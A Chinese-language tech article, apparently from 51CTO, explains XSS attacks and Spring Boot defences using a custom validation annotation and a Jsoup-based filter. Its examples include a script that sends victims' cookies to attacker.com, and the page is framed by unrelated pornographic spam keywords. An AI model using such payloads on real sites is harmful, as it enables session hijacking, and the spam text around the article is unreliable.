精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

XSS 攻擊?Spring Boot 快速防御策略

開發 前端
本文深入探討了在Spring Boot應用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段:使用注解和使用過濾器。

隨著Web應用的普及,網絡安全問題也日益凸顯。跨站腳本攻擊(Cross-Site Scripting,簡稱XSS)是一種常見的Web安全漏洞,它允許攻擊者將惡意腳本注入到其他用戶瀏覽和使用的正常網頁中。當其他用戶瀏覽這些網頁時,惡意腳本就會在他們的瀏覽器上執行,從而可能導致信息泄露、會話劫持等嚴重后果。XSS攻擊的普遍性和潛在危害性使其成為Web應用安全中不可忽視的一部分。

本文旨在探討如何在Spring Boot應用程序中有效地防御XSS攻擊。我們將介紹兩種主要的防御手段:注解和過濾器。通過這兩種方式,開發者可以輕松地在Spring Boot應用中實現XSS攻擊的防御,從而保障用戶的數據安全和應用的穩定運行。

一、XSS攻擊概述

XSS攻擊,全稱為跨站腳本攻擊(Cross-Site Scripting),是一種常見的網絡攻擊手段。它主要利用了Web應用程序對用戶輸入驗證的不足,允許攻擊者將惡意腳本注入到其他用戶瀏覽的網頁中。

1.1 XSS攻擊的定義

XSS攻擊是指攻擊者在Web頁面的輸入數據中插入惡意腳本,當其他用戶瀏覽該頁面時,這些腳本就會在用戶的瀏覽器上執行。由于腳本是在受害用戶的上下文中執行的,因此它可以訪問該用戶的所有會話信息和權限,從而可能導致信息泄露、會話劫持、惡意操作等安全風險。

1.2 XSS攻擊的類型

XSS攻擊主要分為以下三種類型:

  • 存儲型XSS(Persistent XSS): 惡意腳本被永久存儲在目標服務器上,如數據庫、消息論壇、訪客留言等,當用戶訪問相應的網頁時,惡意腳本就會執行。
  • 反射型XSS(Reflected XSS): 惡意腳本并不存儲在目標服務器上,而是通過諸如URL參數的方式直接在請求響應中反射并執行。這種類型的攻擊通常是通過誘使用戶點擊鏈接或訪問特定的URL來實施的。
  • 基于DOM的XSS(DOM-based XSS): 這種類型的XSS攻擊完全發生在客戶端,不需要服務器的參與。它通過惡意腳本修改頁面的DOM結構,實現攻擊。

1.3 XSS攻擊的攻擊原理及示例

XSS攻擊的基本原理是利用Web應用程序對用戶輸入的信任,將惡意腳本注入到響應中。當其他用戶訪問包含惡意腳本的頁面時,腳本會在他們的瀏覽器中執行。

示例:

  • 存儲型XSS攻擊:

攻擊者在一個博客評論系統中提交以下評論:

<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

當其他用戶查看這條評論時,他們的cookie會被發送到攻擊者的服務器。

  • 反射型XSS攻擊:

攻擊者構造一個惡意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服務器直接將搜索詞嵌入到響應中而不進行過濾,用戶點擊此鏈接后會看到一個警告框。

  • DOM型XSS攻擊:

假設網頁中有以下JavaScript代碼:

var name = document.location.hash.substr(1);
document.write("歡迎, " + name);

攻擊者可以構造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

當用戶訪問此URL時,惡意腳本會被執行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我們可以采用多種方式來防御XSS攻擊。下面將詳細介紹兩種常用的防御手段:使用注解和使用過濾器。

2.1 使用注解進行XSS防御

注解是一種輕量級的防御手段,它可以在方法或字段級別對輸入進行校驗,從而防止XSS攻擊。

2.1.1 引入相關依賴

<!--JSR-303/JSR-380用于驗證的注解 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
    <version>3.2.0</version>
</dependency>

2.1.2 使用@XSS注解進行參數校驗

我們可以自定義一個@XSS注解,用于標記那些需要校驗的參數。這里是一個簡單的@XSS注解定義:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
    String message() default "非法輸入, 檢測到潛在的XSS";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

2.1.3 實現自定義注解處理器

接下來,我們需要實現XSSValidator類,該類將負責檢查輸入是否包含潛在的XSS攻擊腳本:

public class XssValidator implements ConstraintValidator<Xss, String> {
    /**
     * 使用自帶的 basicWithImages 白名單
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定義輸出設置,關閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對代碼進行格式化
     * 從而保持輸入和輸出內容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

    /**
     * 驗證輸入值是否有效,即是否包含潛在的XSS攻擊腳本。
     * 
     * @param value 輸入值,需要進行XSS攻擊腳本清理。
     * @param context 上下文對象,提供關于驗證環境的信息,如驗證失敗時的錯誤消息定制。
     * @return 如果清理后的值與原始值相同,則返回true,表示輸入值有效;否則返回false,表示輸入值無效。
     */
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        // 使用Jsoup庫對輸入值進行清理,以移除潛在的XSS攻擊腳本。
        // 使用預定義的白名單和輸出設置來確保只保留安全的HTML元素和屬性。
        String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
        
        // 比較清理后的值與原始值是否相同,用于判斷輸入值是否有效。
        return cleanedValue.equals(value);
    }

}

2.1.4 使用注解

在要進行XSS防御的屬性上添加注解:

@Data
@Tag(name = "用戶",description = "用戶登錄類")
public class UserLoginDTO {

    @Xss
    @NotBlank(message = "賬號不能為空")
    @Schema(name = "用戶賬號",type = "String")
    private String userAccount;

    @Xss
    @Size(min = 6, max = 18, message = "用戶密碼長度需在6-18位")
    @Schema(name = "用戶密碼",type = "String")
    private String password;

    @Xss
    @NotBlank(message = "郵箱驗證碼內容不能為空")
    @Schema(name = "郵箱驗證碼",type = "String")
    private String emailCaptcha;
}

在Controller中的接口添加@Validated注解:

@PostMapping("/test2")
public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {
    return Result.success();
}

2.2 使用過濾器進行XSS防御

2.2.1 引入相關依賴

<!-- Jsoup依賴 -->
<dependency>
   <groupId>org.jsoup</groupId>
   <artifactId>jsoup</artifactId>
   <version>1.17.2</version>
</dependency>

2.2.2 編寫配置類

/**
 * 跨站腳本(XSS)過濾配置類。
 */
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
    /**
     * 是否啟用XSS過濾。
     */
    private String enabled;

    /**
     * 需要排除的URL模式,這些URL不會進行XSS過濾。
     */
    private String excludes;

    /**
     * 需要應用XSS過濾的URL模式。
     */
    private String urlPatterns;

    /**
     * 注冊XSS過濾器。
     *
     * @return FilterRegistrationBean 用于注冊過濾器的bean。
     */
    @Bean
    public FilterRegistrationBean xssFilterRegistration() {
        FilterRegistrationBean registrationBean = new FilterRegistrationBean();
        // 設置過濾器的分發類型為請求類型
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        // 創建XssFilter的實例
        registrationBean.setFilter(new XssFilter());
        // 添加過濾器需要攔截的URL模式,這些模式從配置文件中的"urlPatterns"屬性讀取
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
        // 設置過濾器的名稱
        registrationBean.setName("XssFilter");
        // 設置過濾器的執行順序,數值越小,優先級越高
        registrationBean.setOrder(9999);
        // 創建一個Map,用于存儲過濾器的初始化參數
        Map<String, String> initParameters = new HashMap<>();
        // 將配置文件中的"excludes"屬性設置到過濾器的初始化參數中
        initParameters.put("excludes", excludes);
        // 將配置文件中的"enabled"屬性設置到過濾器的初始化參數中
        initParameters.put("enabled", enabled);
        // 將初始化參數設置到FilterRegistrationBean中
        registrationBean.setInitParameters(initParameters);
        // 返回FilterRegistrationBean,包含了XssFilter的配置信息
        return registrationBean;
    }
}

2.2.3 修改配置文件

xss:
  enabled: true
  excludes:
  url-patterns: /*

2.2.4 創建XSSFilter類

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@Slf4j
public class XssFilter implements Filter {
    /**
     * 存儲需要排除XSS過濾的URL模式列表。
     */
    private List<String> excludes = new ArrayList<>();

    /**
     * 是否啟用XSS過濾的標志。
     */
    private boolean enabled = false;

    /**
     * 初始化過濾器,從過濾器配置中讀取排除列表和啟用狀態。
     *
     * @param filterConfig 過濾器配置對象。
     * @throws ServletException 如果初始化過程中出現錯誤。
     */
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String strExcludes = filterConfig.getInitParameter("excludes");
        String strEnabled = filterConfig.getInitParameter("enabled");
        //將不需要xss過濾的接口添加到列表中
        if (StringUtils.isNotEmpty(strExcludes)) {
            String[] urls = strExcludes.split(",");
            for (String url : urls) {
                excludes.add(url);
            }
        }
        if (StringUtils.isNotEmpty(strEnabled)) {
            enabled = Boolean.valueOf(strEnabled);
        }
    }

    /**
     * 執行過濾邏輯,如果當前請求不在排除列表中,則通過XSS過濾器包裝請求。
     *
     * @param request  HTTP請求對象。
     * @param response HTTP響應對象。
     * @param chain    過濾器鏈對象,用于繼續或中斷請求處理。
     * @throws IOException      如果處理過程中出現I/O錯誤。
     * @throws ServletException 如果處理過程中出現Servlet相關錯誤。
     */
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        //如果該訪問接口在排除列表里面則不攔截
        if (isExcludeUrl(req.getServletPath())) {
            chain.doFilter(request, response);
            return;
        }

        log.info("uri:{}", req.getRequestURI());
        // xss 過濾
        chain.doFilter(new XssWrapper(req), resp);
    }

    /**
     * 銷毀過濾器,釋放資源。
     */
    @Override
    public void destroy() {
        // 無需額外的銷毀邏輯
    }

    /**
     * 判斷當前請求的URL是否應該被排除在XSS過濾之外。
     *
     * @param urlPath 請求的URL路徑。
     * @return 如果請求應該被排除,則返回true;否則返回false。
     */
    private boolean isExcludeUrl(String urlPath) {
        if (!enabled) {
            //如果xss開關關閉了,則所有url都不攔截
            return true;
        }
        if (excludes == null || excludes.isEmpty()) {
            return false;
        }

        String url = urlPath;
        for (String pattern : excludes) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()) {
                return true;
            }
        }
        return false;
    }
}

2.2.5 編寫過濾工具類

/**
 * XSS過濾工具類,使用Jsoup庫對輸入的字符串進行XSS攻擊防護
 */
public class XssUtil {

    /**
     * 使用自帶的 basicWithImages 白名單
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定義輸出設置,關閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對代碼進行格式化
     * 從而保持輸入和輸出內容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
    
    /*
      初始化白名單策略,允許所有標簽擁有style屬性。
      這是因為在富文本編輯中,樣式通常通過style屬性來定義,需要確保這些樣式能夠被保留。
     */
    static {
        // 富文本編輯時一些樣式是使用 style 來進行實現的
        // 比如紅色字體 style="color:red;"
        // 所以需要給所有標簽添加 style 屬性
        WHITE_LIST.addAttributes(":all", "style");
    }
    
    /**
     * 清理輸入的字符串,移除潛在的XSS攻擊代碼。
     * 
     * @param content 待清理的字符串,通常是用戶輸入的HTML內容。
     * @return 清理后的字符串,保證不包含XSS攻擊代碼。
     */
    public static String clean(String content) {
        // 使用定義好的白名單策略和輸出設置清理輸入的字符串
        return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
    }
}

2.2.6 編寫XSSRequestWrapper類清理腳本

在XSSFilter類中,我們創建了一個新的XSSRequestWrapper類,該類繼承自HttpServletRequestWrapper。在這個包裝類中,我們將重寫getParameter等方法,以清理請求參數中的潛在XSS腳本。

@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
    /**
     * Constructs a request object wrapping the given request.
     *
     * @param request The request to wrap
     * @throws IllegalArgumentException if the request is null
     */
    public XssWrapper(HttpServletRequest request) {
        super(request);
        log.info("XssWrapper");
    }

    /**
     * 對數組參數進行特殊字符過濾
     */
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }

    /**
     * 對參數中特殊字符進行過濾
     */
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 獲取attribute,特殊字符過濾
     */
    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String && StrUtil.isNotBlank((String) value)) {
            return cleanXSS((String) value);
        }
        return value;
    }

    /**
     * 對請求頭部進行特殊字符過濾
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 清理輸入的字符串以防止XSS攻擊
     *
     * @param value 待清理的字符串,通常為用戶輸入或來自不可信源的數據。
     * @return 清理后的字符串,移除了可能的XSS攻擊代碼。
     */
    private String cleanXSS(String value) {
        return XssUtil.clean(value);
    }
}

2.2.7 自定義json消息解析器

在使用springboot中,類似于普通的參數parameter,attribute,header一類的,可以直接使用過濾器來過濾。而前端發送回來的json字符串就沒那么方便過濾了。可以考慮用自定義json消息解析器來過濾前端傳遞的json。

/**
 * 在讀取和寫入JSON數據時特殊字符避免xss攻擊的消息解析器
 *
 */
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {

    /**
     * 從HTTP輸入消息中讀取對象,同時應用XSS防護。
     * 
     * @param type        類型令牌,表示要讀取的對象類型。
     * @param contextClass    上下文類,提供類型解析的上下文信息。
     * @param inputMessage HTTP輸入消息,包含要讀取的JSON數據。
     * @return 從輸入消息中解析出的對象,經過XSS防護處理。
     * @throws IOException 如果發生I/O錯誤。
     * @throws HttpMessageNotReadableException 如果消息無法讀取。
     */
    @Override
    public Object read(Type type, Class contextClass,
                       HttpInputMessage inputMessage) throws IOException,
            HttpMessageNotReadableException {
        JavaType javaType = getJavaType(type, contextClass);
        Object obj = readJavaType(javaType, inputMessage);
        //得到請求json
        String json = super.getObjectMapper().writeValueAsString(obj);
        //過濾特殊字符
        String result = XssUtil.clean(json);
        Object resultObj = super.getObjectMapper().readValue(result, javaType);
        return resultObj;
    }

    /**
     * 從HTTP輸入消息中讀取指定Java類型的對象,內部使用。
     * 
     * @param javaType    要讀取的對象的Java類型。
     * @param inputMessage HTTP輸入消息,包含要讀取的JSON數據。
     * @return 從輸入消息中解析出的對象。
     * @throws IOException 如果發生I/O錯誤。
     * @throws HttpMessageNotReadableException 如果消息無法讀取。
     */
    private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
        try {
            return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
        } catch (IOException ex) {
            throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
        }
    }

    /**
     * 將對象寫入HTTP輸出消息,同時應用XSS防護。
     * 
     * @param object 要寫入的對象。
     * @param outputMessage HTTP輸出消息,對象將被序列化為JSON并寫入此消息。
     * @throws IOException 如果發生I/O錯誤。
     * @throws HttpMessageNotWritableException 如果消息無法寫入。
     */
    @Override
    protected void writeInternal(Object object, HttpOutputMessage outputMessage)
            throws IOException, HttpMessageNotWritableException {
        //得到要輸出的json
        String json = super.getObjectMapper().writeValueAsString(object);
        //過濾特殊字符
        String result = XssUtil.clean(json);
        // 輸出
        outputMessage.getBody().write(result.getBytes());
    }
}

然后在啟動類添加:

@Bean
public HttpMessageConverters xssHttpMessageConverters() {
    XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
    HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
    return new HttpMessageConverters(converter);
}

三、測試

3.1 XSS注解:

如果不符合規則的字符(例如<script>alert('XSS');</script>)會提示非法輸入,檢測到潛在的XSS,可以看到下面的返回參數中的message已經變為默認警告。

圖片圖片

3.2 XSS過濾器

XSS過濾器實現的效果是過濾,將前端傳遞參數進行清理,達到XSS防御的目的。

觀察下面的測試結果可以知道過濾器成功實現參數清理。

圖片圖片

圖片圖片

四、總結

本文深入探討了在Spring Boot應用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段:使用注解和使用過濾器。

責任編輯:武曉燕 來源: 一安未來
相關推薦

2021-06-30 07:25:35

開發JavaXSS

2013-05-28 14:18:04

2013-05-22 18:06:41

2020-09-02 08:09:10

攻擊防御Shiro

2013-07-17 09:12:55

2010-02-03 10:25:54

2022-05-19 11:29:14

計時攻擊SpringSecurity

2013-04-07 10:11:27

2012-11-30 14:54:48

2025-07-14 06:50:00

2022-12-23 08:28:42

策略模式算法

2013-07-26 14:59:13

2010-09-13 10:14:30

2017-05-16 14:25:28

2010-09-29 15:33:51

2019-12-01 22:29:08

網絡攻擊網絡防御網絡安全

2020-10-09 08:00:00

漏洞

2020-07-14 11:00:12

Spring BootRedisJava

2025-05-09 07:20:02

Spring數據庫檢索

2025-07-02 07:33:02

Spring倒排索引分布式
點贊
收藏

51CTO技術棧公眾號

亚洲四虎影院| 精产国品一区二区| 精品一区二区三区四区五区| 亚洲图片有声小说| 日本一区二区在线视频| 国产精品久久久久久久成人午夜| 午夜激情一区| 日韩二区三区在线| 中文字幕66页| 女人高潮被爽到呻吟在线观看 | 亚洲成人自拍一区| 日本高清不卡一区二区三| 91禁在线观看| 亚洲乱码久久| 久久精品99久久香蕉国产色戒| 午夜剧场免费看| 1区2区3区在线| 国产精品久久久久久户外露出 | 欧美一站二站| 亚洲国产欧美一区二区三区同亚洲| 另类小说第一页| 每日更新在线观看av| 高清无码视频直接看| 亚洲精品欧美在线| 亚洲高清一区二区三区| 女人一区二区三区| 99久久久无码国产精品免费| 西西44rtwww国产精品| 在线观看a视频| 成人精品电影在线观看| 国产免费一区二区三区在线观看 | 大桥未久在线播放| 国产亚洲精品福利| 国新精品乱码一区二区三区18| 国产一级精品毛片| 亚洲欧美日韩在线观看a三区| 国产精品久久久久久| 国产精品高潮久久久久无| 国产一区自拍视频| 性生交生活影碟片| 老司机免费视频一区二区三区| 欧美中文字幕在线观看| 久久久久久久久久久97| 亚洲高清资源在线观看| 中文字幕综合在线| a天堂中文字幕| 久久99精品国产自在现线| 国产成人久久精品77777综合| 日韩免费福利视频| 亚洲午夜在线视频| 韩国黄色一级大片| 91l九色lporny| 日本黄色一区| 欧洲精品视频在线观看| 成人观看免费完整观看| 九色porny丨入口在线| 亚洲成a人片在线不卡一二三区| 欧美a级免费视频| 在线国产情侣| 综合电影一区二区三区| 在线无限看免费粉色视频| 蜜桃视频在线观看www社区| 国产精品乱码一区二区三区软件| 五月天亚洲综合情| 日本高清视频在线播放| 亚洲欧美日韩国产综合| 日韩精品福利片午夜免费观看| 大片免费在线观看| 有码一区二区三区| 久艹在线免费观看| 丝袜老师在线| 欧美色窝79yyyycom| 一起操在线视频| 欧美午夜在线播放| 亚洲韩国青草视频| 西西444www无码大胆| 日韩av专区| 欧美成人精品一区二区三区| 国产在线一区视频| 日韩高清欧美激情| 成人免费网站在线观看| 亚洲免费成人网| 久久噜噜亚洲综合| 在线观看一区二区三区三州| 国产在线拍揄自揄拍视频 | 亚洲男人av在线| 中文字幕伦理片| 国产精品久久久久无码av| 欧美大片免费看| 亚洲免费黄色网址| 久久99精品久久久久| 99re6在线| 你懂得网站在线| 亚洲精品中文在线观看| 精品人妻一区二区三区四区在线 | 欧美性生活影院| 国产精品熟女一区二区不卡| 青青草久久爱| 日韩午夜在线视频| 色婷婷av国产精品| 久久精品理论片| 精品1区2区| 老司机在线永久免费观看| 亚洲不卡一区二区三区| 在线观看岛国av| 欧美日韩大片免费观看| 久久夜色精品国产欧美乱| 国产精品一区二区6| 狠狠久久亚洲欧美| 免费中文日韩| 牛牛电影国产一区二区| 欧美吻胸吃奶大尺度电影| 一级少妇精品久久久久久久| 色一区二区三区四区| 91精品国产91久久久久久吃药| 国产精品久久久久久69| 亚洲国产精品精华液2区45| 欧美视频在线观看视频| 亚洲精品无播放器在线播放| 亚洲精品一区二区网址| 国产极品在线播放| 国产麻豆成人精品| 亚洲免费不卡| 日韩高清不卡| 亚洲视频在线免费观看| 日本三级免费看| 国产精品中文字幕日韩精品| 自拍偷拍亚洲色图欧美| av高清一区| 亚洲区中文字幕| 日韩精品久久久久久久| 国产精品白丝av| 日韩在线导航| 性欧美1819sex性高清| 日韩精品视频免费专区在线播放 | 国产精品日韩一区二区免费视频| 色开心亚洲综合| 91福利在线看| 亚洲精品国产熟女久久久| 亚洲专区欧美专区| 国产精品视频在线免费观看 | 一区二区三区四区在线免费观看| 国产一级片自拍| 色综合咪咪久久网| 国产在线视频欧美| 麻豆影院在线观看| 欧美日韩高清影院| 天天爽天天爽天天爽| 久色婷婷小香蕉久久| 亚洲在线播放电影| 成人激情久久| 欧美成年人在线观看| 精品区在线观看| 亚洲综合另类小说| 日韩少妇一区二区| 国产偷自视频区视频一区二区| 狠狠爱一区二区三区| 国产在线美女| 国产视频久久久久| 亚洲欧美日韩一区二区三区四区| 中国色在线观看另类| 亚洲无在线观看| 你懂的国产精品| 国产精品一 二 三| 午夜伦理福利在线| 在线丨暗呦小u女国产精品| 精品国产www| 国产精品网站一区| xxx中文字幕| 精品福利av| 欧美主播一区二区三区美女 久久精品人 | 国产精品国产精品国产专区| 亚洲精品五月天| 无码av免费精品一区二区三区| a91a精品视频在线观看| 日本电影一区二区三区| 国产在线观看无码免费视频| 日韩视频第二页| 国产精品免费无遮挡| 国产精品水嫩水嫩| 亚欧精品在线视频| 亚洲第一黄网| 欧美精品欧美精品| 日韩亚洲国产免费| 久久久中精品2020中文| 你懂的在线视频| 欧美色图第一页| 久久精品一区二区三| 久久综合久久99| 亚洲一区日韩精品| 国产精品九九| 奇米精品在线| 日韩一区网站| 国产精品av免费在线观看| 国产精品刘玥久久一区| 日韩av网站大全| 91久久精品无码一区二区| 亚洲无人区一区| 国产又粗又猛又爽又黄的视频四季 | 深夜激情久久| 国产成人jvid在线播放| 污视频网站免费在线观看| 亚洲欧美激情一区| 午夜精品久久久久久久96蜜桃| 91高清视频在线| 国产污视频在线看| 亚洲欧洲成人av每日更新| 91中文字幕永久在线| 国产成人啪午夜精品网站男同| 麻豆传传媒久久久爱| 激情一区二区| 99精品一区二区三区的区别| 国产一区二区三区四区二区| 国产精品视频500部| 欧美视频精品| 国产成人久久久精品一区| av成人影院在线| 久久国产精彩视频| 国产1区2区3区在线| 亚洲娇小xxxx欧美娇小| 亚洲一区 中文字幕| 色综合天天做天天爱| 男人天堂中文字幕| 亚洲女与黑人做爰| 中文字幕求饶的少妇| 国产欧美日韩亚州综合| 五级黄高潮片90分钟视频| 国产超碰在线一区| 五月天婷婷在线观看视频| 久久精品国产久精国产| 黄色av免费在线播放| 久久中文欧美| 国产偷人视频免费| 亚洲一区二区伦理| 免费无码不卡视频在线观看| 红桃视频国产精品| bt天堂新版中文在线地址| 亚洲综合婷婷| 国产激情片在线观看| 亚洲国产一区二区三区在线播放 | 久久久久久久无码| 丁香啪啪综合成人亚洲小说| 妖精视频在线观看| 国产高清精品网站| 一级全黄裸体片| 国产成人一区二区精品非洲| 日韩精品――色哟哟| 国产精品一区在线观看你懂的| 午夜大片在线观看| 国产精选一区二区三区| 无码人妻aⅴ一区二区三区玉蒲团| 国产剧情在线观看一区二区| 杨幂一区二区国产精品| 国产suv精品一区二区三区| 欧美xxxxx少妇| 99久久精品国产麻豆演员表| 菠萝菠萝蜜网站| 久久精品夜色噜噜亚洲a∨| 久久婷婷五月综合| 中文字幕一区二区三区不卡在线| 婷婷激情四射网| 一区二区免费视频| 国内免费精品视频| 一本一本久久a久久精品综合麻豆| 亚洲不卡在线视频| 欧美三级在线看| 国产又大又粗又长| 日韩欧美一级二级| 人妻一区二区三区四区| 亚洲精品中文字幕女同| 在线播放麻豆| 欧美日韩福利在线观看| av免费不卡| 国产精品久久婷婷六月丁香| 日韩一级特黄| 国内视频一区| 成人久久电影| 欧美做暖暖视频| 久久精品一本| 色偷偷中文字幕| 91免费视频大全| 懂色av粉嫩av浪潮av| 亚洲精品久久久久久国产精华液| 97免费在线观看视频| 欧美日韩高清在线播放| 免费看日韩av| 最近更新的2019中文字幕| 污污的网站在线免费观看| 91成人在线视频| 欧美电影在线观看网站| 极品尤物一区二区三区| 久久久久久久久久久久久久久久久久 | 最新国产乱人伦偷精品免费网站| 妞干网在线免费视频| 国产精品69毛片高清亚洲| 精品久久久久久中文字幕人妻最新| 国产精品人妖ts系列视频| 日韩大片免费在线观看| 欧美精品少妇一区二区三区| 天堂在线中文字幕| 精品国产美女在线| 韩国成人漫画| 粉嫩av一区二区三区免费观看| 国产成人黄色| 99国产精品白浆在线观看免费| 蜜桃久久久久久| 素人fc2av清纯18岁| 亚洲综合自拍偷拍| 在线观看免费视频a| 亚洲激情视频网| 日韩三级电影视频| 91久久综合亚洲鲁鲁五月天| 综合亚洲自拍| 日韩一级性生活片| 极品少妇xxxx偷拍精品少妇| 亚洲欧洲久久久| 欧美日韩国产精品一区| 六月婷婷综合网| 播播国产欧美激情| 欧洲精品久久久久毛片完整版| 久久五月天婷婷| 国产精品久久久久毛片大屁完整版| 亚洲天堂小视频| 国产精品美女久久久久高潮| 中文字幕视频网| 日韩av最新在线观看| 男男gaygays亚洲| 91精品国产高清久久久久久91裸体| 成人一区二区| 欧美伦理片在线看| 99精品国产99久久久久久白柏| 久久久国产成人| 欧美一区二区精品在线| 菠萝菠萝蜜在线视频免费观看| 国产欧美中文字幕| 国产精品99视频| 潘金莲激情呻吟欲求不满视频| 国产精品久久毛片| 在线观看中文字幕av| 中文字幕亚洲一区二区三区五十路 | 亚洲久久久久久| 亚洲不卡av一区二区三区| 欧美一区二不卡视频| 欧美激情精品久久久久久免费印度 | 久久精品成人| 久久只有这里有精品| 在线一区二区三区四区五区| melody高清在线观看| 国产精品久久久久久亚洲影视| 成人一区不卡| 激情文学亚洲色图| 亚洲男同性视频| 亚洲免费一级片| 欧美影院久久久| 亚洲性视频大全| 丰满少妇在线观看| 一区在线观看免费| 精品国产九九九| 久久欧美在线电影| 一区二区三区四区在线看| www.日本xxxx| 国产精品网站一区| 国产黄色片网站| 97视频在线观看网址| 国产成人影院| 国产免费中文字幕| 老司机aⅴ在线精品导航| 欧美日韩美女在线| 国产黄色激情视频| 国产精品日韩精品欧美精品| 亚洲精品成人无码熟妇在线| 欧美在线三级电影| 精品麻豆一区二区三区| www日韩av| 99国产精品| 成人在线手机视频| 6080午夜不卡| 草美女在线观看| 青娱乐一区二区| 精品一区二区国语对白| 激情四射综合网| 亚洲欧美一区二区三区情侣bbw| 欧美久久久网站| 欧美亚洲日本一区二区三区| 国产日韩精品久久久| www.四虎在线观看| 欧洲成人在线观看| 91精品福利| 国产特黄级aaaaa片免| 777午夜精品视频在线播放| 九九色在线视频| 日韩偷拍一区二区| 国产成人a级片| 五月天中文字幕| 欧美黄色小视频| 久久蜜桃av| 9.1成人看片| 日韩欧美国产wwwww| 欧美色片在线观看| 性欧美大战久久久久久久|